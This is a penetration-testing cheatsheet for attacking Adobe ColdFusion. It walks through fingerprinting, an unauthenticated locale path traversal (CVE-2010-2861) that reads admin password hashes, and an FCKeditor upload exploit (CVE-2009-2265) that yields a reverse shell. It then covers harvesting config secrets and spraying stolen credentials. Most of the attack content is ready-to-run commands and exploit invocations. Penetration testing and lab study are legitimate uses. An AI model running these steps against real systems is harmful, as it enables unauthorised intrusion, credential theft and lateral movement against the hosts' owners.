Adobe ColdFusion
ColdFusion is Adobe’s Java-based web platform. Apps are written in CFML (.cfm / .cfc pages) and often expose the CFIDE administrative tree. On engagements you mainly care about: version fingerprint → admin / default paths → known unauth file-read or upload bugs → shell.
Cheatsheet
# Find ColdFusion ports / banners
nmap -sV -p80,443,8500,5500 --script=http-title,http-headers <IP>
http://<IP>:8500/
http://<IP>:8500/CFIDE/administrator/
ffuf -u http://<IP>:8500/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .cfm,.cfc -mc 200,301,302,401,403
# Known admin / install paths
http://<IP>:8500/CFIDE/administrator/index.cfm
http://<IP>:8500/CFIDE/administrator/enter.cfm
# CVE-2010-2861 locale path traversal (CF ≤ 9.0.1 class)
# Read password.properties (adjust cf_root depth for the install)
python2 /usr/share/exploitdb/exploits/multiple/remote/14641.py <IP> 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
curl -sk 'http://<IP>:8500/CFIDE/administrator/settings/mappings.cfm?locale=../../../../../../ColdFusion8/lib/password.properties%00en'
# CVE-2009-2265 FCKeditor unauth upload → RCE (CF 8.0.1 and earlier)
searchsploit -p 50057
cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .
# Edit lhost/lport/rhost/rport inside the script, then:
python3 50057.py
# Listener for the reverse shell
rlwrap ncat -lvnp <LPORT>
# Version / exploit lookup once fingerprint is solid
searchsploit adobe coldfusion
searchsploit coldfusion 8Methodology
Phase 1: Fingerprint and Map CFIDE
Ask yourself
- Which ports answer HTTP, and is
8500(classic CF HTTP) or a fronted80/443the real entry? - Do I see
CFIDE,cfdocs,.cfm/.cfc, orServer/X-Powered-Byhints for ColdFusion? - What exact version does
/CFIDE/administratoradvertise (login title, copyright, install docs)? - Is directory listing enabled under
/or/CFIDE/what else is exposed without auth? - Which attack class does the version imply: old unauth LFI/upload, or newer auth-adjacent bugs?
nmap -sV -p- --open <IP>
#visit
http://<IP>:8500/CFIDE/
http://<IP>:8500/CFIDE/administrator/
ffuf -u http://<IP>:8500/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .cfm,.cfc -mc 200,301,302,401,403- Port-scan and note
80/443/8500/5500(monitor) and any Java/RPC sidecars. - Confirm ColdFusion via
CFIDE/cfdocs,.cfm/.cfc, headers, or admin login chrome. - Record the exact version string from the Administrator page or error/debug output.
- Map reachable CFIDE subtrees without credentials; note listing,
install.cfm,adminapi, wizards. - Run
searchsploit adobe coldfusionand keep only exploits whose version prerequisites match.
Phase 2: Unauthenticated File Read (Locale Traversal)
Ask yourself
- Is this build in the
CVE-2010-2861class (ColdFusion 9.0.1 and earlier / CF8 labs)? - Which locale-accepting admin endpoints are reachable without a session?
- What is the on-disk
cf_rootso my../chain lands onlib/password.properties? - Did the response return properties content (
password=,rdspassword=,encrypted=true) or just an error page? - If I recover a hash, can I crack it and should I spray it elsewhere before burning RCE?
# Copy and inspect the public PoC
searchsploit -p 14641
cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .
python2 14641.py # prints usage
# High-value target file on CF8 Windows installs
python2 14641.py <IP> 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
# Other locale-affected endpoints to try if one path is blocked
# /CFIDE/administrator/settings/mappings.cfm
# /CFIDE/administrator/logging/settings.cfm
# /CFIDE/administrator/datasources/index.cfm
# /CFIDE/wizards/common/_logintowizard.cfm- Confirm version is in scope for locale traversal before running exploit scripts.
- Pull
password.properties(or Linux equivalent under the CF installlib/). - Parse
password=/rdspassword=/encrypted=lines; save the file for the report. - Attempt to crack the admin hash (often SHA1-style hex on older CF); try recovered cleartext against
/CFIDE/administrator. - If file read works but admin login fails, keep the read primitive for configs, datasources, and mail creds — then continue to Phase 3 for shell.
OPSEC: automated traversal scripts hit multiple admin CFM endpoints. On monitored hosts, prefer a single manual locale= proof against one path first.
Phase 3: Unauthenticated Upload → RCE
Ask yourself
- Is FCKeditor’s ColdFusion connector still exposed under
/CFIDE/scripts/ajax/FCKeditor/.../upload.cfm? - Does an unauth
FileUploadaccept a.jsp(or double-ext) into a web-reachable folder? - Do I have a working listener and correct
<LHOST>/<LPORT>reachable from the target? - What user does the CF/Java process run as, and what can I reach after the shell lands?
- Should I take the quieter file-read → admin path instead of dropping a shell immediately?
# Confirm upload connector presence
curl -sk -o /dev/null -w '%{http_code}\n' 'http://<IP>:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm'
# CVE-2009-2265 helper (edit lhost/lport/rhost/rport in the script)
searchsploit -p 50057
cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .
# Set: lhost=<LHOST> lport=<LPORT> rhost=<IP> rport=8500
python3 50057.py
# Catch the callback
rlwrap ncat -lvnp <LPORT>- Verify the FCKeditor upload endpoint returns a workable response (not 404/removed).
- Start a listener, set
<LHOST>/<LPORT>/rhost/rportin the exploit, execute once. - On shell: identify user, hostname, and CF install path; harvest further configs under
ColdFusion*/lib/. - If upload fails, fall back to cracked admin credentials, other version-matched exploits from
searchsploit, or authenticated admin features (scheduled tasks, packaging). - Record payload name, upload path, and callback evidence for the report.
Phase 4: Post-Access Harvest
Ask yourself
- What datasources, mail, and LDAP secrets sit next to
password.properties? - Does this host store other app creds that spray into SMB/WinRM/SQL?
- Is ColdFusion the only foothold path, or is there a cleaner persistence/admin route now?
# On Windows shell — common CF8 layout
dir C:\ColdFusion8\lib
type C:\ColdFusion8\lib\password.properties
dir C:\ColdFusion8\lib\neo-*.xml- Dump
password.properties, datasource configs, and mail settings. - Spray recovered credentials against local and domain services in scope.
- Continue into Windows post-exploitation / priv-esc from the CF service account context.
Reference
Identification Signals
| Signal | Meaning |
|---|---|
Ports 8500, sometimes 5500 | Classic CF HTTP / Server Monitor defaults (often changed) |
Paths /CFIDE/, /cfdocs/ | Strong ColdFusion indicator |
Extensions .cfm, .cfc | CFML application pages / components |
/CFIDE/administrator/ | Admin UI — version often visible on login |
| Headers / errors mentioning ColdFusion | Corroborate when paths are locked down |
Default / High-Value Paths
| Path | Why it matters |
|---|---|
/CFIDE/administrator/index.cfm | Admin login / version chrome |
/CFIDE/administrator/enter.cfm | Auth entry; also locale-traversal class |
/CFIDE/administrator/settings/mappings.cfm | Locale traversal target |
/CFIDE/wizards/common/_logintowizard.cfm | Locale traversal target |
/CFIDE/scripts/ajax/FCKeditor/.../upload.cfm | CVE-2009-2265 upload |
High-Value Local Files
| File | Use |
|---|---|
[cf_root]/lib/password.properties | Admin / RDS password hashes |
[cf_root]/lib/neo-*.xml | Datasources, mail, LDAP, and related secrets |
password.properties holds encrypted/hashed credentials ColdFusion uses for admin and integrated services. Recovering it is both a direct win (crack → admin) and a reporting finding even if cracking fails.
Version-Oriented Attack Map
| Condition | Primary path |
|---|---|
| ColdFusion 8 / ≤ 8.0.1 | FCKeditor upload RCE (CVE-2009-2265, EDB-50057); locale traversal |
| ColdFusion ≤ 9.0.1 | Locale parameter directory traversal (CVE-2010-2861, EDB-14641) |
| Newer (11 / 2016 / 2018 / 2021+) | Do not assume the CF8/9 unauth bugs; fingerprint precisely and match advisories (searchsploit, APSB notes). Auth bypass, deserialization, and upload bugs are version-specific. |
Source material centered on ColdFusion 8 lab behavior (8500, CFIDE listing, CVE-2010-2861, CVE-2009-2265). Newer Adobe advisories exist (file read, command injection, deserialization, upload restrictions). Always match CVE/EDB prerequisites to the fingerprint — last verified: 2026-08.
CVE-2010-2861 (Locale Traversal)
Affected administrator CFM endpoints accepted a locale parameter that could be pointed at arbitrary files via ../ sequences. Public PoCs walk several endpoints and print file contents when successful. On Windows CF8, a common proof file is:
../../../../../../../../ColdFusion8/lib/password.properties
Traversal depth and drive layout vary — adjust the chain if the first attempt returns HTML errors instead of properties text.
CVE-2009-2265 (FCKeditor Upload → RCE)
Unauthenticated upload through the bundled FCKeditor ColdFusion connector allowed dropping a web-executable payload (commonly .jsp) under a userfiles-style path, then requesting it for code execution. EDB-50057 automates payload generation, upload, trigger, and reverse-shell handling — set <LHOST>, <LPORT>, target host, and port before launch. Expect a delay before the callback.
Ports (Defaults)
| Port | Role |
|---|---|
| 80 / 443 | Front-door HTTP(S) when CF is behind IIS/Apache/connector |
| 8500 | Built-in CF HTTP (very common in older labs) |
| 5500 | Server Monitor (if enabled) |
| 25 / 1935 | Mail / legacy RPC — secondary, not primary web enum |